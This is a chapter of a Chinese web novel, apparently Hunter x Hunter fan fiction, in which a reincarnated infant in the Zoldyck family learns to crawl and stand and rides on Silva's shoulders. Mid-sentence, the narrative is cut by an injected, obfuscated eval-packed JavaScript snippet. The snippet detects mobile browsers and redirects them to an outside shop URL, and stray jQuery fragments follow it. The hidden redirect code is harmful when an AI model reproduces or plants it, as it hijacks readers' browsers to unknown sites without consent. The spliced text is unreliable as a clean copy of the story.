原谅我,无法控制这种源于身体最本能的冲动——因为嘴里太痒了导致什么都要咬一口。
卡娜卡和塔莉亚身手也十分了得,飞快地将花从我的口中解救出来,之后卡娜卡还十分迅速地将备用奶嘴往我的嘴里一塞,成功化解了一场危机。
但是经过这件事后,卡娜卡对我的看管越发严厉了起来,而糜稽很喜欢我。
不,准确来说是很喜欢娃娃!
我可是发现了,糜稽一进入我的房间,视线就被堆在墙角的娃娃给吸引了,然后天天都要来我的房间。
那些娃娃做工精致,是会让懵懂的小女孩爱不释手的那种,不过很可惜我连爬都不会,更不要说玩那些娃娃了。所以那些娃娃的作用只是装饰房间而已,使房间看上去更加可爱,更加温馨。
见糜稽天天往这边跑,比起塔莉亚的无奈,卡娜卡笑得十分欣慰,还说什么这就是兄妹之间天生的联系。
不不不,完全不是啊卡娜卡!
先不说实际上我和他们完全没有血缘关系,一切都是认知改变下的发展,再者,那小子一进入我的房间都会跑到娃娃堆里玩娃娃啊!
诶,等等,那小子虽然长得精致可爱但确实是男孩没错吧,居然那么喜欢玩娃娃,长大后说不定会很不得了哦。
如果不是喜欢穿女装的变态,那或许就会成为玩娃娃的死宅哦。
开个玩笑,毕竟是揍敌客家的孩子,肯定不会这样的吧哈哈哈哈。
关于糜稽进我房间是喜欢我这一点,我很想反驳,但是不会说话的我只能咿咿呀呀,还被卡娜卡误解为是高兴。
我不想解释了。
准确来说是解释不了。
不过那小子还算良心,经常来我的房间玩娃娃,也不会忘记我,还十分大方地和我分享我的玩具。每当这个时候卡娜卡就会十分紧张地看着我。
好像我下一秒就会把玩具塞进嘴里一样。
人和人之间还是要多点信任吧!我不过就是在那之后没管住嘴往嘴里塞了1,2,3……不管了,反正并没有往嘴里塞几次东西,居然完全不相信我的自制力!
生气了,让卡娜卡猜!
又过了一段时间,日子趋于平淡,基裘还是每天都会来,有时候也会亲自带着我和糜稽去外面晒太阳,当然她最喜欢的还是给我换衣服。
这段时间,在我的不懈坚持下,我终于——学会了爬!
啪叽啪叽啪叽!为自己鼓掌!虽然手没力完全鼓不了什么掌!
卡娜卡看见我会爬的时候立刻捂住了嘴,一副非常惊讶的样子跑去告诉了基裘。
嗯嗯,我当然能够理解,毕竟婴儿一般在八九个月学会爬行,而我硬生生提前了一半,简直是不可思议!
没错,我就是天才!
毕竟是我,和真正的婴儿根本不同的,伟大的露琪大人,哇哈哈哈哈!
基裘也十分激动,夸赞我天赋异禀,还说要把训练提前。
嗯?训练,什么训练?
我还没有弄清楚状况,基裘已经没有再说训练的事情了。
而我除了练习爬行,还在试着发出正确的音节,虽然还是不能够准确地说出话来,但是我已经能够发出咿咿呀呀之外的词了。
说话的进度缓慢,但是好歹爬行成功了。
下一步就是走了!
确认卡娜卡去给我冲泡奶粉了,我颤颤巍巍地抓向婴儿床的栏杆,然后颤颤巍巍地站了起来。
如果不借助外力的话,凭借着我婴儿的力量完全不能自己站起来,但是我可以抓着栏杆练习走路。
高处的景象很宽阔,宽阔得让我热泪盈眶!
那么多天了,终于能够站起来了!
躺在婴儿床上的感觉太像瘫痪了!
“已经可以站起来了吗?”淳厚低沉的声音响起。
“哒啊!”对啊!
我自豪地回答,抬起头看向来人。正是我很久没有见到的便宜爸爸,揍敌客的现任家主——席巴。
他身上穿着紫色练功服,能看出他健硕的肌肉,极具有爆发力的身躯。他的面庞威严而深邃,披散着的银发总让人想象到狮子,他虽然没有刻意做出凶狠的表情,但是健硕的身躯和威严的气质却能吓得普通小孩啼哭。
当然,我和普通的小孩并不一样。
我并不害怕他,看着他向我走过来还能骄傲地挺胸。
“很厉害。”他夸赞道。
我当然很厉害,毕竟是我!
我毫不谦虚地收下了夸赞。
席巴并不经常来看我,这次过来或许是听到基裘说我会爬了才来看看的。哎呀,来得正是时候,见到意外之喜了吧。
我不但会爬,我还能站,括号虽然得扒拉着栏杆。
不过还是很厉害(叉腰)!
我的视线向上移,目光凝聚在了席巴宽广的肩上。
该说不愧是揍敌客家的家族吗,不但头发像狮子,壮硕的肌肉也像是蓄势待发的雄狮一般充满了爆发力,而且长得还很高。
思及此,我有了一个大胆的想法。
我眼神一亮,一只手紧紧地抓着栏杆,勉强支撑着我的身体,另一只手伸向前,想抓点什么的样子。
“哇,哇——”
我含糊不清地咿咿呀呀,控制着自己脸上做出可爱的表情,虽然不能看到我脸上的表情,但我相信,本露琪大人一定可爱无比!
没有人能够拒绝可爱的露琪大人!就算是我自己也不可以!
席巴的神色有些松动,他似乎有些犹豫,这让我有些担心他能不能懂得我的意思。
“你是想站得高点吗?”
精准地理解到了我的意思!
“呜哇!”我眼里闪着光,重重地肯定了他的话。
随即,宽厚的手掌卡住了我的咯吱窝,然后将我举了起来。
我的视野也随之升高了一大截,房间里的物品在我的视野中似乎缩小了一点。
狮,狮子王!
我立刻想到了某个经典名场面。或许是我表现得实在有些太激动了,连席巴都
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|11367051|120638||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
看出了我的激动:“看来确实是喜欢高处没错。”
他的双手卡着我的咯吱窝,然后我被送到了他的手臂上。
坐稳之后,我立刻扒拉住了席巴的头。
准确来说是头发。
毕竟我只是一个婴儿,手太小了,没有办法将头抱住,只能揪住他的头发。
虽然席巴这头银发看起来有些乱糟糟不太好摸的样子,但是实际摸着却意外的柔顺。
我心想。
唔,要是真扯到头发会很痛,轻一点好了。
“抓好了。”席巴开口,然后抓住了我的脚。
他刚走了一步,我便感到了摇晃,我直接用力地扯住了头发,没有刚才“怜香惜玉”的心思了。
席巴被我重重地揪着头发,居然没有喊痛,也没有一丝停顿。就像我抓的不是属于他的头发,而是一顶假发一样。
揍敌客家的人会秃顶吗。
完全不能想象令人闻风丧胆的杀手居然有一个锃亮的头顶。
我胡思乱想着,抓着席巴的头发,上半身也趴在了席巴的头上,到了现在我才真正有了看“风景”的闲心。
对于大人来说都有些大的房间,在婴儿看来庞大无比,而且揍敌客家的房间就算只是一间婴儿房也布置得极具奢华,高高的天花板根本碰不到顶。
激动激动!
身体变成了婴儿连心智都变成了婴儿这可不太好,但谁叫我已经变成了婴儿呢!
“哇!”我笑弯了眼,发出了一声无意识的叫声。
“看起来很开心啊。”席巴当然是不可能知道我的这声叫声到底是什么意思,毕竟这本就是一个无意义的音节。
当然,硬要赋予其含义的话,大概就是开心之类的吧。
在我咯咯咯的笑声下,席巴好像也受到了鼓舞,在房间里转了几圈。他走得很稳,除了一开始我没有适应高度而感到颠簸外,就没有再感受到类似的颠簸。
难道这也是揍敌客家的天赋之一吗!
我好像知道了骑马的乐趣了,说不定连骑狮子的乐趣也知道了。
兴奋过头的我,最终被席巴放在床上的时候还依依不舍地抓着他的手指,尽管婴儿的生物钟提醒我到了下午觉的时间,却始终不肯放开。
我以为他会直接抽开手走掉,没想到席巴却坐了下来:“我知道了,我会在这里守着你,睡吧。”
真是惊讶,明明今天看我的眼神依旧有些淡然来着。
倒不是摆脱了认知改变意识到我并不是揍敌客家的崽的那种。认知改变顾名思义只能改变认知,却不能改变情感,也就是说,他和我就算是“父女”,也没有任何的感情基础。
今天我能骑在他肩上或许也是席巴觉得应该尽到“父亲”的责任,但陪睡似乎不是他的责任。
虽然不知道他为什么还是留了下来,但总不会现在突然暴起将我杀死就是了。
很好,又活了一天,已经很厉害了!
我一边迷迷糊糊地思考着,一边放任自己陷入了梦乡。